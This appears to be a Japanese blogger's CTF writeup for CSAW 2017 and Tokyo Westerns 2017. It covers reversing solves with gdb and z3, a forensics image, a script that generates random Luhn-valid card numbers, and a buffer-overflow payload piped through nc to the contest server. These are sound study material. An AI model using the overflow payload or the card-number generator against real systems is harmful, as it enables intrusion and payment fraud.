与えられた番号がvalidかinvalidか返すやつは,Luhnアルゴリズム自体が全ての間違いを検出できるわけではないっぽくて,2回目で成功しました.
以下,書いたスクリプト.(めっちゃ汚いけど,解ければいいやろと思ってる)
Luhnアルゴリズムでvalidが返るまでランダムに数字を生成して,それを送るってことをやってる.1度使ったものは使えないっぽいけど,これだけ大きければほぼ被ることはないだろうということで,その対策はしてない.
#!/usr/bin/env python # coding: utf-8 import socket import random import itertools s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.connect(('misc.chal.csaw.io', 8308)) card_list = ['MasterCard', 'Discover', 'American', 'Visa'] # https://gist.github.com/oyakata/5955744 より def check_digits(text): """itertools.cycleを使って実装。""" def even_value(x): y = x * 2 return y - 9 if y > 9 else y values = (int(x) for x in reversed(text)) switcher = itertools.cycle((lambda x: x, even_value)) digits = (func(x) for func, x in itertools.izip(switcher, values)) return sum(digits) % 10 == 0 def main(): count = 0 f = open('visa.txt', 'r') visa = f.read().split('\n') f.close() while(True): data = s.recv(256) print data all_data = data.split(' ') card = all_data[4].replace('!','').rstrip() if card == 'card': card = all_data[8].replace('!', '').rstrip() print card if card == 'MasterCard': while True: num = '5' + str(random.randint(100000000000000, 999999999999999)) print num if check_digits(num): break elif card == 'Discover': while True: num = '60110' + str(random.randint(10000000000, 99999999999)) print num if check_digits(num): break elif card == 'American': while True: num = '34' + str(random.randint(1000000000000, 9999999999999)) print num if check_digits(num): break elif card == 'Visa': print visa[count] num = visa[count] elif card == 'if': card_num = all_data[5] if check_digits(card_num): num = '1' else: num = '0' else: info = all_data[6] if len(card) == 4 and info == "starts": while True: num = card + str(random.randint(100000000000, 999999999909)) print num if check_digits(num): break elif len(card) == 1 and info == "ends": while True: num = str(random.randint(100000000000000, 999999999999999)) + card print num if check_digits(num): break elif len(card) == 4 and info == "ends": while True: num = str(random.randint(100000000000, 999999999909)) + card print num if check_digits(num): break s.sendall(num + '\n') count = count + 1 if __name__ == '__main__': main()
$ python solve.py . . . if True Thanks! I need to know if 7358400188115005 is valid! (0 = No, 1 = Yes) if True Thanks! I need to know if 8664780687553453 is valid! (0 = No, 1 = Yes) if False Thanks! I need to know if 1514774928101638 is valid! (0 = No, 1 = Yes) if False Thanks! I need to know if 9017155594857850 is valid! (0 = No, 1 = Yes) if True Thanks! I need to know if 3591469017167338 is valid! (0 = No, 1 = Yes) if False Thanks! flag{ch3ck-exp3rian-dat3-b3for3-us3}
tablEZ (Reversing100)
一番最初に解いたやつ.
問題文
Bobby was talking about tables a bunch, so I made some table stuff. I think this is what he was talking about...
$ ./true Please enter the flag: hoge WRONG
crackme系のやつ.
確か,入力値を元にテーブルからindexを求めて,それを使って再度テーブルから値を取り出す,ってことをやっていた気がします.
以下,解いていた時のメモ.
gdb-peda$ x/80 0x555555755281 0x555555755281 <trans_tbl+1>: 0x056c04c4039b02bb 0x09450822072e064a 0x555555755291 <trans_tbl+17>: 0x0d060cd50bb80a33 0x117910fa0fbc0e0a 0x5555557552a1 <trans_tbl+33>: 0x15bf14b213e11224 0x1960188617ad162c 0x5555557552b1 <trans_tbl+49>: 0x1d591cd81bb61aa4 0x217720941f411e87 0x5555557552c1 <trans_tbl+65>: 0x256124cb234f22f0 0x292a289727c02625 0x5555557552d1 <trans_tbl+81>: 0x2d9f2cc92b082a5c 0x31f930cf2f4e2e43 0x5555557552e1 <trans_tbl+97>: 0x35e73465336f323e 0x39ef38b7373936c5 0x5555557552f1 <trans_tbl+113>: 0x3daa3c2f3bc83ad0 0x4181403c3f473ec7 0x555555755301 <trans_tbl+129>: 0x45a644d343494232 0x49404858472b4696 0x555555755311 <trans_tbl+145>: 0x4d1a4cee4b9c4af1 0x518050d64fc64e5b 0x555555755321 <trans_tbl+161>: 0x553d549a536d522d 0x59e05884579356a7 0x555555755331 <trans_tbl+177>: 0x5d095cb95b3b5a12 0x614860995fba5e69 0x555555755341 <trans_tbl+193>: 0x6582647c63b16273 0x69fb689d672766be 0x555555755351 <trans_tbl+209>: 0x6db36cf46b7e6a67 0x711b705f6fc26e05 0x555555755361 <trans_tbl+225>: 0x7511747173237254 0x796878a577d27630 0x555555755371 <trans_tbl+241>: 0x7d7a7cf57b3f7a9e 0x8185800c7f0b7ece 0x555555755381 <trans_tbl+257>: 0x858e845e836382de 0x89da886a87fe86bd 0x555555755391 <trans_tbl+273>: 0x8dac8ce88b888a26 0x91f690a88f628e03 0x5555557553a1 <trans_tbl+289>: 0x95c3946b937592f7 0x998f98e697519646 0x5555557553b1 <trans_tbl+305>: 0x9d919c5a9b769a28 0xa152a0449f1f9eec 0x5555557553c1 <trans_tbl+321>: 0xa53aa48ba3fca201 0xa910a816a7a3a6a1 0x5555557553d1 <trans_tbl+337>: 0xad95accaab50aa14 0xb10eb035af4bae92 0x5555557553e1 <trans_tbl+353>: 0xb55db41db320b2b5 0xb90fb86eb7e2b6c1 0x5555557553f1 <trans_tbl+369>: 0xbdd9bcd4bb90baed 0xc157c098bfddbe42 0x555555755401 <trans_tbl+385>: 0xc556c478c319c237 0xc904c8d1c774c6af 0x555555755411 <trans_tbl+401>: 0xcd4ccce5cb55ca29 0xd1dbd089cff2cea0 0x555555755421 <trans_tbl+417>: 0xd5ead483d338d2e4 0xd98cd8dcd707d617 0x555555755431 <trans_tbl+433>: 0xdde9dc7bdbb4da8a 0xe10de015dfebdeff 0x555555755441 <trans_tbl+449>: 0xe534e4f3e3a2e202 0xe913e8f8e718e6cc 0x555555755451 <trans_tbl+465>: 0xed21ecaeeb7fea8d 0xf170f04defcdeee3 0x555555755461 <trans_tbl+481>: 0xf572f4abf3fdf253 0xf9a9f866f71cf664 0x555555755471 <trans_tbl+497>: 0xfddffcd7fb1efab0 0xe0000031ff7dfe36 0x5555555549c1 <main+289>: cmp QWORD PTR [rbp-0xc8],0x25 FLAGは0x25文字(37文字) This is the flag. gdb-peda$ x/30 0x7fffffffcac0 0x7fffffffcac0: 0xb1e711 f59d73b327 0x30f4f9f9b399beb3 0x7fffffffcad0: 0xb19965237399711b 0xf9279923be111165 0x7fffffffcae0: 0x000000 ce65059923
逆の処理を書くより,入力値を与えてテーブル作って,そこからflagを求めたほうが早そうなので,その方法でやりました.
string = "d0efb739c5e7656f3ef999cef53b12e08493a73d9a6d2d80d6c65b1aee9cf140582b96a6d349323f9e68a5d230117123541b5fc205b3f47e67fb9d27be827cb173" char = (('a'..'z').to_a.join + ('A'..'Z').to_a.join + '{}_' + ('0'..'9').to_a.join) list1 = string.scan(/.{1,2}/).reverse list2 = char.scan(/.{1,1}/) table = {} list1.zip(list2).each do |val1, val2| table.store(val1, val2) end flag_str = "ce65059923f9279923be111165b19965237399711b30f4f9f9b399beb3b1e711f59d73b327" flag_list = flag_str.scan(/.{1,2}/).reverse flag = "" flag_list.each do |val| flag = flag + table[val].to_s end puts flag
$ ruby solve.rb flag{t4ble_l00kups_ar3_b3tter_f0r_m3}
Best Router (Forensics200)
問題文
http://forensics.chal.csaw.io:3287 NOTE: This will expand to ~16GB!
解いているチームが多かったのでできそうだなぁとは思ってたのですが,16GBも容量がなかったので,土曜家に帰ってきてからDesktopのほうで解いたやつ.
与えられたbest_router.tar.gzを解凍すると,14.5GBのイメージファイルが出てきます.
FTK Imagerで解けそうなので,開いてみる.
いろいろありそうだけど,問題文を思い出してみる.
ログインフォームのURLが与えられているので,これにログインできるとflagが出そう.
/var/wwwが怪しそうなので見てみるとビンゴ.
flag.txtは空でここからは見れないので,やっぱり与えられたURLにログインする必要がありそう.
username:admin psassword:iforgotaboutthemathtest
でログインするとflagが貰える.
realism (Reversing400)
高得点の解きたいなぁと思って,rev問見てたら数十人が解いていたのでやってみた.
問題文
Did you know that x86 is really old? I found a really old Master Boot Record that I thought was quite interesting! At least, I think it's really old... qemu-system-i386 -drive format=raw,file=main.bin
QEMU初めて使った.
与えられたmain.binはブートセクタ.
与えれらたコマンド通りにmain.binを起動してみると,以下のような画面が出てきて,またこれもcrackme系の問題.
適当に入力すると,WRONG FLAG.
ブートセクタは512バイトで読むべきコード自体は少ないのですが,どう解析したらいいかわからなくて困った.
ググってたらndisasm
でできるよ,みたいなのを見つけて逆アセンブルしたらそれっぽく出てきたけど,やっぱり動的解析しないと厳しそう.
めっちゃ調べていろいろやってみたら,以下のようにして解析できた.
$ qemu-system-i386 -drive format=raw,file=main.bin -S -gdb tcp::1234
別terminalにてgdbを起動して,set architecture
,target remote
でそれぞれ指定.
ブートセクタは0x7C00にロードされるらしいので,そこにブレークポイントをしかける.
$ gdb gdb-peda$ set architecture i8086 gdb-peda$ target remote localhost:1234 gdb-peda$ b *0x7c00
pedaのプロンプトは出ているのに使えなかったので,ノーマルなgdbでノーマルなコマンドで解析する.
最初の4文字が"flag"かどうかチェックしている部分.入力値の長さのチェックはこれの前にある.
0x7c6f: cmp DWORD PTR ds:0x1234,0x67616c66 0x7c78: jne 0x7d4d
その後,入力値チェックがある.あとはここを読んで求解処理を書くだけ.
0x7c7c: movaps xmm0,XMMWORD PTR ds:0x1238 0x7c81: movaps xmm5,XMMWORD PTR ds:0x7c00 0x7c86: pshufd xmm0,xmm0,0x1e 0x7c8b: mov si,0x8 0x7c8e: movaps xmm2,xmm0 0x7c91: andps xmm2,XMMWORD PTR [si+0x7d90] 0x7c96: psadbw xmm5,xmm2 0x7c9a: movaps XMMWORD PTR ds:0x1268,xmm5 0x7c9f: mov di,WORD PTR ds:0x1268 0x7ca3: shl edi,0x10 0x7ca7: mov di,WORD PTR ds:0x1270 0x7cab: mov dx,si 0x7cad: dec dx 0x7cae: add dx,dx 0x7cb0: add dx,dx 0x7cb2: cmp edi,DWORD PTR [edx+0x7da8] 0x7cba: jne 0x7d4d 0x7cbe: dec si 0x7cbf: test si,si # If si is 0, finish. 0x7cc1: jne 0x7c8e
8回ループして入力値チェックしている.間違っていたら即Wrong.
最初にxmm0レジスタに読み込んだ入力値をpshufd
命令でシャッフルしている.
0x7c86: pshufd xmm0,xmm0,0x1e
このpshufd
命令までが初期化っぽい.
その後,andps
命令でシャッフルされた入力値をマスクする.(16バイトの内,ある2バイトを0にする.この0にする位置は徐々にずれていく)
0x7c91: andps xmm2,XMMWORD PTR [si+0x7d90]
そして,マスクした入力値とxmm5レジスタを使ってpsadbw
命令で差の絶対値を取ったり足したりする.(このxmm5レジスタの値は初期値だけ決まっていて,あとはpsadbwで求まった値を次の計算でも使う)
0x7c96: psadbw xmm5,xmm2
psadbw命令は以下がわかりやすい.
http://www.officedaytime.com/tips/simdimg/si.php?f=psadbw
その後,求まった値を使って8バイトの数値を作って,それが特定の値と等しいかどうかチェックしている.
1回目と2回目で各命令を実行したときのレジスタの値とかを逐一調べてメモしてた.
2回目の値も調べるために,バイナリ本体にパッチを当てちゃうと便利.
この部分を
0x7cba: jne 0x7d4d
以下のように書き換えて,オペコードをjeにする.
解いていた時のメモ.
Initialize ======================================================================================= => 0x7c6f: cmp DWORD PTR ds:0x1234,0x67616c66 0x7c78: jne 0x7d4d 0x7c7c: movaps xmm0,XMMWORD PTR ds:0x1238 gdb-peda$ p $xmm0 $2 = { v4_float = {12.0784864, 12.0784311, 12.0784311, 1.60549888e+37}, v2_double = {2261634.5098039485, 2.2040338477057924e+295}, v16_int8 = {0x7b, 0x41 <repeats 14 times>, 0x7d}, v8_int16 = {0x417b, 0x4141, 0x4141, 0x4141, 0x4141, 0x4141, 0x4141, 0x7d41}, v4_int32 = {0x4141417b, 0x41414141, 0x41414141, 0x7d414141}, v2_int64 = {0x414141414141417b, 0x7d41414141414141}, uint128 = 0x7d41414141414141414141414141417b } 0x7c81: movaps xmm5,XMMWORD PTR ds:0x7c00 gdb-peda$ p $xmm5 $3 = { v4_float = {-134298496, -2.50091934, -1.48039995e-36, 1.93815862e-18}, v2_double = {-8.0294250547975565, 1.241726856953559e-144}, v16_int8 = {0xb8, 0x13, 0x0, 0xcd, 0x10, 0xf, 0x20, 0xc0, 0x83, 0xe0, 0xfb, 0x83, 0xc8, 0x2, 0xf, 0x22}, v8_int16 = {0x13b8, 0xcd00, 0xf10, 0xc020, 0xe083, 0x83fb, 0x2c8, 0x220f}, v4_int32 = {0xcd0013b8, 0xc0200f10, 0x83fbe083, 0x220f02c8}, v2_int64 = {0xc0200f10cd0013b8, 0x220f02c883fbe083}, uint128 = 0x220f02c883fbe083c0200f10cd0013b8 } 0x7c86: pshufd xmm0,xmm0,0x1e gdb-peda$ p $xmm0 $4 = { v4_float = {12.0784311, 1.60549888e+37, 12.0784311, 12.0784864}, v2_double = {2.2040338477057924e+295, 2261750.5098039214}, v16_int8 = {0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x7d, 0x41, 0x41, 0x41, 0x41, 0x7b, 0x41, 0x41, 0x41}, v8_int16 = {0x4141, 0x4141, 0x4141, 0x7d41, 0x4141, 0x4141, 0x417b, 0x4141}, v4_int32 = {0x41414141, 0x7d414141, 0x41414141, 0x4141417b}, v2_int64 = {0x7d41414141414141, 0x4141417b41414141}, uint128 = 0x4141417b414141417d41414141414141 } 0x7c8b: mov si,0x8 ======================================================================================= Loop ======================================================================================= 0x7c8e: movaps xmm2,xmm0 gdb-peda$ p $xmm2 $6 = { v4_float = {12.0784311, 1.60549888e+37, 12.0784311, 12.0784864}, v2_double = {2.2040338477057924e+295, 2261750.5098039214}, v16_int8 = {0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x7d, 0x41, 0x41, 0x41, 0x41, 0x7b, 0x41, 0x41, 0x41}, v8_int16 = {0x4141, 0x4141, 0x4141, 0x7d41, 0x4141, 0x4141, 0x417b, 0x4141}, v4_int32 = {0x41414141, 0x7d414141, 0x41414141, 0x4141417b}, v2_int64 = {0x7d41414141414141, 0x4141417b41414141}, uint128 = 0x4141417b414141417d41414141414141 } 0x7c91: andps xmm2,XMMWORD PTR [si+0x7d90] # first, si is 0x8. second, si is 0x7. 0 の位置が徐々にずれていく. First: gdb-peda$ x/30wx $si+0x7d90 0x7d98: 0xffffff00 0xffffffff 0xffffff00 0xffffffff 0x7da8: 0x02110270 0x02290255 0x025e0291 0x01f90233 0x7db8: 0x027b0278 0x02090221 0x0290025d 0x02df028f 0x7dc8: 0x00000014 0x00000000 0x00000000 0x00000000 0x7dd8: 0x00000000 0x00000000 0x00000000 0x00000000 0x7de8: 0x00000000 0x00000000 0x00000000 0x00000000 0x7df8: 0x00000000 0xaa550000 0x00000000 0x00000000 0x7e08: 0x00000000 0x00000000 Second: gdb-peda$ x/20wx $si+0x7d90 0x7d97: 0xffff00ff 0xffffffff 0xffff00ff 0xffffffff 0x7da7: 0x110270ff 0x29025502 0x5e029102 0xf9023302 0x7db7: 0x7b027801 0x09022102 0x90025d02 0xdf028f02 0x7dc7: 0x00001402 0x00000000 0x00000000 0x00000000 0x7dd7: 0x00000000 0x00000000 0x00000000 0x00000000 First: gdb-peda$ p $xmm2 $7 = { v4_float = {12.0783691, 1.60549888e+37, 12.0783691, 12.0784864}, v2_double = {2.2040338477057629e+295, 2261750.5098038912}, v16_int8 = {0x0, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x7d, 0x0, 0x41, 0x41, 0x41, 0x7b, 0x41, 0x41, 0x41}, v8_int16 = {0x4100, 0x4141, 0x4141, 0x7d41, 0x4100, 0x4141, 0x417b, 0x4141}, v4_int32 = {0x41414100, 0x7d414141, 0x41414100, 0x4141417b}, v2_int64 = {0x7d41414141414100, 0x4141417b41414100}, uint128 = 0x4141417b414141007d41414141414100 } Second: gdb-peda$ p $xmm2 $6 = { v4_float = {12.062562, 1.60549888e+37, 12.062562, 12.0784864}, v2_double = {2.2040338476982412e+295, 2261750.5097961728}, v16_int8 = {0x41, 0x0, 0x41, 0x41, 0x41, 0x41, 0x41, 0x7d, 0x41, 0x0, 0x41, 0x41, 0x7b, 0x41, 0x41, 0x41}, v8_int16 = {0x41, 0x4141, 0x4141, 0x7d41, 0x41, 0x4141, 0x417b, 0x4141}, v4_int32 = {0x41410041, 0x7d414141, 0x41410041, 0x4141417b}, v2_int64 = {0x7d41414141410041, 0x4141417b41410041}, uint128 = 0x4141417b414100417d41414141410041 } 0x7c96: psadbw xmm5,xmm2 First: gdb-peda$ p $xmm5 $9 = { v4_float = {8.88423226e-43, 0, 1.06919073e-42, 0}, v2_double = {3.1323761946335031e-321, 3.7697208777687111e-321}, v16_int8 = {0x7a, 0x2, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0xfb, 0x2, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0}, v8_int16 = {0x27a, 0x0, 0x0, 0x0, 0x2fb, 0x0, 0x0, 0x0}, v4_int32 = {0x27a, 0x0, 0x2fb, 0x0}, v2_int64 = {0x27a, 0x2fb}, uint128 = 0x00000000000002fb000000000000027a } ==================== >>> hex(0x22 - 0x41) '-0x1f' >>> hex(0x0f - 0x41) '-0x32' >>> hex(0x02 - 0x41) '-0x3f' >>> hex(0xc8 - 0x7b) '0x4d' >>> hex(0x83 - 0x41) '0x42' >>> hex(0xfb - 0x41) '0xba' >>> hex(0xe0 - 0x41) '0x9f' >>> hex(0x83 - 0x00) '0x83' >>> hex(0x1f + 0x32 + 0x3f + 0x4d + 0x42 + 0xba + 0x9f + 0x83) '0x2fb' ==================== Second: gdb-peda$ p $xmm5 $7 = { v4_float = {7.13260918e-43, 0, 8.91225823e-43, 0}, v2_double = {2.5147941373319449e-321, 3.142257507550328e-321}, v16_int8 = {0xfd, 0x1, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x7c, 0x2, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0}, v8_int16 = {0x1fd, 0x0, 0x0, 0x0, 0x27c, 0x0, 0x0, 0x0}, v4_int32 = {0x1fd, 0x0, 0x27c, 0x0}, v2_int64 = {0x1fd, 0x27c}, uint128 = 0x000000000000027c00000000000001fd } 0x7c9a: movaps XMMWORD PTR ds:0x1268,xmm5 0x7c9f: mov di,WORD PTR ds:0x1268 First: gdb-peda$ p $edi $10 = 0x27a Second: gdb-peda$ p $di $9 = 0x1fd 0x7ca3: shl edi,0x10 First: gdb-peda$ p $edi $11 = 0x27a0000 Second: gdb-peda$ p $edi $11 = 0x1fd0000 0x7ca7: mov di,WORD PTR ds:0x1270 First: gdb-peda$ p $edi $12 = 0x27a02fb gdb-peda$ p $si $13 = 0x8 Second: gdb-peda$ p $edi $12 = 0x1fd027c gdb-peda$ p $si $13 = 0x7 0x7cab: mov dx,si 0x7cad: dec dx gdb-peda$ p $dx $14 = 0x7 ------------------------------ # 単純にdxの値を4倍している 0x7cae: add dx,dx First: gdb-peda$ p $dx # 7 + 7 $15 = 0xe Second: gdb-peda$ p $dx # 6 + 6 $15 = 0xc 0x7cb0: add dx,dx First: gdb-peda$ p $dx $16 = 0x1c Second: gdb-peda$ p $dx $16 = 0x18 ------------------------------ 0x7cb2: cmp edi,DWORD PTR [edx+0x7da8] First: gdb-peda$ x/10 $edx+0x7da8 0x7dc4: 0x02df028f 0x00000014 0x00000000 0x00000000 0x7dd4: 0x00000000 0x00000000 0x00000000 0x00000000 0x7de4: 0x00000000 0x00000000 Second: gdb-peda$ x/10 $edx+0x7da8 0x7dc0: 0x0290025d 0x02df028f 0x00000014 0x00000000 0x7dd0: 0x00000000 0x00000000 0x00000000 0x00000000 0x7de0: 0x00000000 0x00000000 0x7cba: jne 0x7d4d # If input is not correct, return. 0x7cbe: dec si gdb-peda$ p $si $2 = 0x7 0x7cbf: test si,si # If si is 0, finish. 0x7cc1: jne 0x7c8e ======================================================================================= This is the flag!!!!!!!!!!!!!!!!!!!!! Just do it!!!!!!!!!! 0x02df028f 0x0290025d 0x02090221 0x027b0278 0x01f90233 0x025e0291 0x02290255 0x02110270
psadbw
のところが不可逆っぽいので,逆算する処理ではなくz3を使ってこの処理を満たすような入力値を求める.
z3の使い方がわからず,BitVecsで値を生成してそれにabs()使おうとしたらできなくて,他にもいろいろ苦戦して,ようやくスクリプトが書けました.
(かなり汚いです)
#!/usr/bin/env python from z3 import * # 0x20 <= si <= 7e # # [flag] # 0x02df028f # 0x0290025d # 0x02090221 # 0x027b0278 # 0x01f90233 # 0x025e0291 # 0x02290255 # 0x02110270 # # {s0s1s2s3s4s5s6s7s8s9s10s11s12s13} # # s7s8s9s10s11s12s13}s3s4s5s6{s0s1s2 # s15 s14 # 0x** ** ** 7b ** ** ** ** ** 7d ** ** ** ** ** ** ** (little endian) def get_abs(x): return If(x >= 0,x,-x) def main(): solver = Solver() s = [Int('s_%d' % i) for i in range(14)] for i in range(len(s)): solver.add(s[i] != 0) solver.add(0x20 <= s[i], s[i] <= 0x7e) s14 = 0x7b s15 = 0x7d t0 = 0x22 t1 = 0x0f t2 = 0x02 t3 = 0xc8 t4 = 0x83 t5 = 0xfb t6 = 0xe0 t7 = 0x83 t8 = 0xc0 t9 = 0x20 t10 = 0x0f t11 = 0x10 t12 = 0xcd t13 = 0x00 t14 = 0x13 t15 = 0xb8 psadbw1 = get_abs(t0 - s[2]) + get_abs(t1 - s[1]) + get_abs(t2 - s[0]) + get_abs(t3 - s14) + get_abs(t4 - s[6]) + get_abs(t5 - s[5]) + get_abs(t6 - s[4]) + get_abs(t7 - 0x00) psadbw2 = get_abs(t8 - s15) + get_abs(t9 - s[13]) + get_abs(t10 - s[12]) + get_abs(t11 - s[11]) + get_abs(t12 - s[10]) + get_abs(t13 - s[9]) + get_abs(t14 - s[8]) + get_abs(t15 - 0x00) solver.add(psadbw1 == 0x28f) solver.add(psadbw2 == 0x2df) t0 = 0x0 t1 = 0x0 t2 = 0x0 t3 = 0x0 t4 = 0x0 t5 = 0x0 t6 = 0x02 t7 = 0x8f t8 = 0x0 t9 = 0x0 t10 = 0x0 t11 = 0x0 t12 = 0x0 t13 = 0x0 t14 = 0x02 t15 = 0xdf psadbw3 = get_abs(t0 - s[2]) + get_abs(t1 - s[1]) + get_abs(t2 - s[0]) + get_abs(t3 - s14) + get_abs(t4 - s[6]) + get_abs(t5 - s[5]) + get_abs(t6 - 0x00) + get_abs(t7 - s[3]) psadbw4 = get_abs(t8 - s15) + get_abs(t9 - s[13]) + get_abs(t10 - s[12]) + get_abs(t11 - s[11]) + get_abs(t12 - s[10]) + get_abs(t13 - s[9]) + get_abs(t14 - 0x00) + get_abs(t15 - s[7]) solver.add(psadbw3 == 0x25d) solver.add(psadbw4 == 0x290) t7 = 0x5d t15 = 0x90 psadbw6 = get_abs(t0 - s[2]) + get_abs(t1 - s[1]) + get_abs(t2 - s[0]) + get_abs(t3 - s14) + get_abs(t4 - s[6]) + get_abs(t5 - 0x00) + get_abs(t6 - s[4]) + get_abs(t7 - s[3]) psadbw7 = get_abs(t8 - s15) + get_abs(t9 - s[13]) + get_abs(t10 - s[12]) + get_abs(t11 - s[11]) + get_abs(t12 - s[10]) + get_abs(t13 - 0x00) + get_abs(t14 - s[8]) + get_abs(t15 - s[7]) solver.add(psadbw6 == 0x221) solver.add(psadbw7 == 0x209) t7 = 0x21 t15 = 0x09 psadbw8 = get_abs(t0 - s[2]) + get_abs(t1 - s[1]) + get_abs(t2 - s[0]) + get_abs(t3 - s14) + get_abs(t4 - 0x00) + get_abs(t5 - s[5]) + get_abs(t6 - s[4]) + get_abs(t7 - s[3]) psadbw9 = get_abs(t8 - s15) + get_abs(t9 - s[13]) + get_abs(t10 - s[12]) + get_abs(t11 - s[11]) + get_abs(t12 - 0x00) + get_abs(t13 - s[9]) + get_abs(t14 - s[8]) + get_abs(t15 - s[7]) solver.add(psadbw8 == 0x278) solver.add(psadbw9 == 0x27b) t7 = 0x78 t15 = 0x7b psadbw10 = get_abs(t0 - s[2]) + get_abs(t1 - s[1]) + get_abs(t2 - s[0]) + get_abs(t3 - 0x00) + get_abs(t4 - s[6]) + get_abs(t5 - s[5]) + get_abs(t6 - s[4]) + get_abs(t7 - s[3]) psadbw11 = get_abs(t8 - s15) + get_abs(t9 - s[13]) + get_abs(t10 - s[12]) + get_abs(t11 - 0x00) + get_abs(t12 - s[10]) + get_abs(t13 - s[9]) + get_abs(t14 - s[8]) + get_abs(t15 - s[7]) solver.add(psadbw10 == 0x233) solver.add(psadbw11 == 0x1f9) t7 = 0x33 t14 = 0x01 t15 = 0xf9 psadbw12 = get_abs(t0 - s[2]) + get_abs(t1 - s[1]) + get_abs(t2 - 0x00) + get_abs(t3 - s14) + get_abs(t4 - s[6]) + get_abs(t5 - s[5]) + get_abs(t6 - s[4]) + get_abs(t7 - s[3]) psadbw13 = get_abs(t8 - s15) + get_abs(t9 - s[13]) + get_abs(t10 - 0x00) + get_abs(t11 - s[11]) + get_abs(t12 - s[10]) + get_abs(t13 - s[9]) + get_abs(t14 - s[8]) + get_abs(t15 - s[7]) solver.add(psadbw12 == 0x291) solver.add(psadbw13 == 0x25e) t7 = 0x91 t14 = 0x02 t15 = 0x5e psadbw14 = get_abs(t0 - s[2]) + get_abs(t1 - 0x00) + get_abs(t2 - s[0]) + get_abs(t3 - s14) + get_abs(t4 - s[6]) + get_abs(t5 - s[5]) + get_abs(t6 - s[4]) + get_abs(t7 - s[3]) psadbw15 = get_abs(t8 - s15) + get_abs(t9 - 0x00) + get_abs(t10 - s[12]) + get_abs(t11 - s[11]) + get_abs(t12 - s[10]) + get_abs(t13 - s[9]) + get_abs(t14 - s[8]) + get_abs(t15 - s[7]) solver.add(psadbw14 == 0x255) solver.add(psadbw15 == 0x229) t7 = 0x55 t15 = 0x29 psadbw16 = get_abs(t0 - 0x00) + get_abs(t1 - s[1]) + get_abs(t2 - s[0]) + get_abs(t3 - s14) + get_abs(t4 - s[6]) + get_abs(t5 - s[5]) + get_abs(t6 - s[4]) + get_abs(t7 - s[3]) psadbw17 = get_abs(t8 - 0x00) + get_abs(t9 - s[13]) + get_abs(t10 - s[12]) + get_abs(t11 - s[11]) + get_abs(t12 - s[10]) + get_abs(t13 - s[9]) + get_abs(t14 - s[8]) + get_abs(t15 - s[7]) solver.add(psadbw16 == 0x270) solver.add(psadbw17 == 0x211) t7 = 0x70 t15 = 0x11 if solver.check() == sat: m = solver.model() print m flag = '' for i in s: flag += chr(m[i].as_long()) print "\nflag: flag{%s}" % flag else: print "Not found." if __name__ == '__main__': main()
$ python solve.py [s_0 = 52, s_6 = 95, s_2 = 51, s_3 = 97, s_4 = 108, s_10 = 51, s_11 = 95, s_8 = 48, s_7 = 109, s_9 = 100, s_5 = 122, s_12 = 121, s_13 = 48, s_1 = 114] flag: flag{4r3alz_m0d3_y0}
まとめ
z3の書き方,よくわからない部分が多い.
解けなかった問題に関しては,
pilot (Pwn75):オーバーフローさせてシェルコード実行させようとしたらできなくて,gdbで見てみたらシステムコールを呼ぶ直前でコードが変わるという謎の現象が起きたりしてた.よくわからん.
Missed Registration (Forensics150):nの値とxの値 is 何.末尾に何か付いてたけどわからん.
Gopherz (Reversing350):Gopherというプロトコルを初めて知った.なんの成果も得られませんでした.
Tokyo Westerns CTF 3rd 2017 Writeup
開催期間(JST)
09/02 AM9:00 ~ 09/04 AM9:00
結果
・チーム名:wabisabi
・得点:213pt
・順位:得点したチーム中,133/901
解いた問題
・Just do it!
・Rev Rev Rev
・pplc: private
・pplc: local
・pplc: comment
取り組んだが解けなかった問題
・Let’s go!
はじめに
実際に集まることはなかったのですが,slackでちょいちょいやり取りしながらチームメンバーのkobadとよね君と一緒に参加してました.
Warmupは全部解きたいねって話をメンバーにしたのですが,cryptoの1問が残ってしまいました.cryptoちょっと見てみたけどrevやりたかったのでそっと閉じました.
途中,ちょっと遠くに美味しいラーメンを食べに行ったり,翌日の日曜は近所の高校の学園祭にお邪魔して遊んでたりしてて,夕方帰ってきてから朝まで気合でLet’s go!のバイナリを読んでた,そんな感じのCTFでした.
Writeup
Just do it!
やるだけ問でした.
実行するとこんな感じ.flag.txtを作る必要がある.
$ ./just_do_it56d11d5466611ad671ad47fba3d8bc5a5140046a2a28162eab9c82f98e352afa Welcome my secret service. Do you know the password? Input the password. hoge Invalid Password, Try Again!
flagを中で読み込んでるけど,出力はしないみたいな感じで,あとBoFがある.
オーバーフローした先がputsで入力値を出力する場所だったので,オーバーフローさせてからputsに渡すアドレスをflagのある場所に変えるだけ.
$ echo -e "AAAAAAAAAAAAAAAAAAAA\x80\xa0\x04\x08" |./just_do_it-56d11d5466611ad671ad47fba3d8bc5a5140046a2a28162eab9c82f98e352afa Welcome my secret service. Do you know the password? Input the password. FLAG{xxxx}
これをリモートに送ってやるとflagが貰える.
$ echo -e "AAAAAAAAAAAAAAAAAAAA\x80\xa0\x04\x08" |nc pwn1.chal.ctf.westerns.tokyo 12345 Welcome my secret service. Do you know the password? Input the password. TWCTF{pwnable_warmup_I_did_it!}
Rev Rev Rev
一番最初に解いた問題でした.
$ ./rev_rev_rev-a0b0d214b4aeb9b5dd24ffc971bd391494b9f82e2e60b4afc20e9465f336089f Rev! Rev! Rev! Your input: hoge Invalid!
crackme系の問題っぽい.
確か,最初に入力値から改行を取り除き,その文字列を反転して,さらに2回ほど暗号化っぽいことをやってた気がする.
で,それがとある文字列と等しいかどうか判定している.
最初に思いついたのが,アルファベットと数字を全て入力して,生成される文字列からテーブルみたいなのを作って,あとは読むだけ,みたいなやり方.
最初にABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz
と入力しようとしたら,確か文字列の制限があって,小文字大文字に分けて出力結果をメモっていった.
結果,プログラム書くより手でやったほうが早そうだったので,こんな感じになった↓
